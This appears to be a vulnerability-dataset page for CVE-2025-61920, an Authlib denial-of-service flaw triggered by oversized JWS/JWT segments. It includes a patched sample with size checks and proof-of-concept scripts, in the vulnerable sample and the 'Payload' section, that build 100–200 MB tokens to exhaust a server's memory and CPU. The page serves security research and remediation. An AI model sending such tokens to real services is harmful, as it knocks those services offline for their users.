VAITP Dataset

← Back to the dataset

CVE-2025-61920

Authlib is vulnerable to DoS via unbounded parsing of large JWS/JWT tokens.

  • CVSS 7.5
  • CWE-20
  • Resource Management
  • Remote

Authlib is a Python library which builds OAuth and OpenID Connect servers. Prior to version 1.6.5, Authlib’s JOSE implementation accepts unbounded JWS/JWT header and signature segments. A remote attacker can craft a token whose base64url‑encoded header or signature spans hundreds of megabytes. During verification, Authlib decodes and parses the full input before it is rejected, driving CPU and memory consumption to hostile levels and enabling denial of service. Version 1.6.5 patches the issue. Some temporary workarounds are available. Enforce input size limits before handing tokens to Authlib and/or use application-level throttling to reduce amplification risk.

CVSS base score
7.5
Published
2025-10-10
OWASP
A04 Insecure Design
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Resource Management
Subcategory
Resource Exhaustion
Accessibility scope
Remote
Impact
Denial of Service (DoS)
Affected component
Authlib
Fixed by upgrading
Yes

Solution

Upgrade Authlib to version 1.6.5 or later.

Vulnerable code sample

import base64
from authlib.jose import JsonWebSignature
from authlib.common.encoding import to_bytes

# This code represents the behavior of Authlib before the vulnerability was patched.
# It attempts to process a JWS token with an extremely large, malformed header.
# This will cause significant CPU and memory consumption before failing.

def create_malicious_jws(header_size_mb):
    """Creates a JWS string with an oversized header segment."""
    # A large, invalid base64url string for the header
    malicious_header_part = 'A' * (header_size_mb * 1024 * 1024)

    # A normal, valid payload
    payload_part = base64.urlsafe_b64encode(b'{"user":"victim"}').rstrip(b'=').decode('ascii')

    # A dummy signature
    signature_part = 'dummysignature'

    return f"{malicious_header_part}.{payload_part}.{signature_part}"

def demonstrate_vulnerability():
    # The key doesn't matter as the process will hang/crash during decoding,
    # long before signature verification.
    public_key = 'secret-key'
    
    # Create a JWS token with a 200MB header segment.
    # Warning: This value may cause your system to become unresponsive.
    # Adjust lower if necessary (e.g., 50 MB).
    malicious_token = create_malicious_jws(header_size_mb=200)
    
    jws = JsonWebSignature()

    print(f"Token created with header size: {len(malicious_token.split('.')[0]) / (1024*1024):.2f} MB")
    print("Attempting to deserialize the malicious JWS token...")
    print("Observe the process's memory and CPU usage.")

    try:
        # This is the vulnerable call. The library will attempt to base64url-decode
        # the entire massive header before any size validation, leading to DoS.
        jws.deserialize_compact(to_bytes(malicious_token), public_key)
        print("Deserialization succeeded (unexpected).")
    except Exception as e:
        # The code will likely hang before ever reaching this point,
        # or fail after consuming significant resources.
        print(f"Deserialization failed as expected after high resource usage: {e}")

if __name__ == "__main__":
    demonstrate_vulnerability()

Patched code sample

import base64
import sys

# This constant represents the core of the fix: a hard limit on the size of any
# single JWS/JWT segment (header or signature). The vulnerability existed
# because no such limit was enforced, allowing multi-megabyte segments to be
# passed to the resource-intensive base64 decoding and JSON parsing steps.
MAX_SEGMENT_LENGTH = 8192  # 8 KB is a reasonable limit

def create_malicious_token(header_payload_size):
    """
    Helper function to create a JWS-like string with an oversized header segment
    to simulate an attacker's payload.
    """
    # An attacker crafts a header that is excessively large.
    malicious_header_data = b'{"alg":"HS256","padding":"' + b'a' * header_payload_size + b'"}'
    
    # This encoding step creates a base64url string much larger than the limit.
    encoded_header = base64.urlsafe_b64encode(malicious_header_data).rstrip(b'=')
    
    # Dummy payload and signature are used to create a structurally valid token.
    dummy_payload = base64.urlsafe_b64encode(b'{"sub":"123"}').rstrip(b'=')
    dummy_signature = base64.urlsafe_b64encode(b'fakesignature').rstrip(b'=')
    
    return b'.'.join([encoded_header, dummy_payload, dummy_signature])

def verify_jws_with_size_limit(token_string):
    """
    This function represents the patched logic. It validates the size of each
    JWS segment *before* attempting to perform any costly operations like
    base64 decoding, which was the vector for the Denial of Service attack.
    """
    print(f"Received token of total size: {len(token_string) / 1024:.2f} KB")

    parts = token_string.split(b'.')
    # A JWS compact serialization must have 3 or 5 parts. We check for 3.
    if len(parts) != 3:
        raise ValueError("Invalid JWS format: must have 3 segments.")

    header_segment, payload_segment, signature_segment = parts

    # --- THE FIX ---
    # The following two checks are fast, low-cost operations that prevent the
    # vulnerability. They ensure that excessively large segments are rejected
    # immediately, before they can consume significant CPU and memory resources
    # in the decoding phase.
    
    if len(header_segment) > MAX_SEGMENT_LENGTH:
        raise ValueError(
            f"Validation failed: Header segment size ({len(header_segment)} bytes) "
            f"exceeds the limit of {MAX_SEGMENT_LENGTH} bytes."
        )
    
    if len(signature_segment) > MAX_SEGMENT_LENGTH:
        raise ValueError(
            f"Validation failed: Signature segment size ({len(signature_segment)} bytes) "
            f"exceeds the limit of {MAX_SEGMENT_LENGTH} bytes."
        )
    # --- END OF FIX ---

    print("SUCCESS: All JWS segments are within the allowed size limits.")
    
    # If the size checks pass, the application can now safely proceed with
    # the more resource-intensive decoding and verification steps.
    # For demonstration, we will not proceed with full verification.
    # e.g., header_data = base64.urlsafe_b64decode(header_segment + b'==')
    
    print("Verification can now safely proceed.")
    return True


if __name__ == "__main__":
    # --- DEMONSTRATION ---

    # Scenario 1: A valid, normal-sized token passes the check.
    print("--- 1. Testing a normal, valid token ---")
    normal_token = (
        b"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9."
        b"eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ."
        b"SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"
    )
    try:
        verify_jws_with_size_limit(normal_token)
        print("Result: Normal token was correctly processed.\n")
    except ValueError as e:
        print(f"Error: Normal token was unexpectedly rejected: {e}\n", file=sys.stderr)

    # Scenario 2: A malicious token with an oversized header is rejected.
    # The vulnerable code would try to base64-decode the entire huge header,
    # causing a Denial of Service. The fixed code rejects it instantly due to the size check.
    print("--- 2. Testing a malicious token with an oversized header ---")
    
    # Create a header payload that will result in a base64 segment larger than our limit.
    # 10 KB is larger than our 8 KB limit.
    malicious_size = 10 * 1024
    malicious_token = create_malicious_token(malicious_size)
    
    try:
        verify_jws_with_size_limit(malicious_token)
    except ValueError as e:
        # This is the expected, safe outcome for the malicious token.
        print(f"Result: Malicious token correctly rejected *before* expensive processing.")
        print(f"Reason: {e}")

Payload

import sys

# The vulnerability is triggered by an oversized header or signature segment.
# This example creates a 100MB header segment.
# A real-world attack might use a larger value to ensure resource exhaustion.
# The payload and signature can be minimal as the check fails before they are deeply processed.

try:
    # A large, valid base64url-encoded string (100MB of 'A' characters).
    large_header_segment = 'A' * (100 * 1024 * 1024)

    # A minimal, valid base64url-encoded payload (e.g., '{}' -> 'e30').
    payload_segment = 'e30'

    # A minimal signature segment.
    signature_segment = 'A'

    # The crafted JWS token with the oversized header.
    malicious_token = f"{large_header_segment}.{payload_segment}.{signature_segment}"

    # This token would be sent to the vulnerable server.
    # The print statement is for demonstration; in a real exploit,
    # this string would be used in an HTTP request.
    sys.stdout.write(malicious_token)

except MemoryError:
    print("Error: Not enough memory to generate the 100MB payload in this environment.", file=sys.stderr)
    print("The principle is to create a string larger than the target's available memory.", file=sys.stderr)

Cite this entry

@misc{vaitp:cve202561920,
  title        = {{Authlib is vulnerable to DoS via unbounded parsing of large JWS/JWT tokens.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2025},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2025-61920},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-61920/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::